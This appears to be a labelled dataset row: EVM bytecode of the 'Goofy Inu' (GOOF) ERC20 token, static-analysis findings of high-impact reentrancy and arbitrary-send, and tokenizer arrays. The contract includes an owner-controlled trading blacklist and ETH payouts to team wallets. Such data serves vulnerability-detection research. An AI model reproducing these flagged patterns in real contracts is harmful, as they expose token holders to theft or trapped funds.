0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600981526020017f476f6f667920496e750000000000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f474f4f4600000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600281111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60048111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fcffbe89cf5da5266d0174bf0b1b25782978389e3d8755f8dd597f382d2f29664736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 16086, 2581, 26337, 2692, 22025, 2094, 2692, 2581, 27531, 2581, 2050, 2683, 2683, 2050, 2629, 2278, 2549, 19736, 2497, 2692, 22407, 2497, 2094, 2509, 27421, 2683, 27009, 2692, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,182
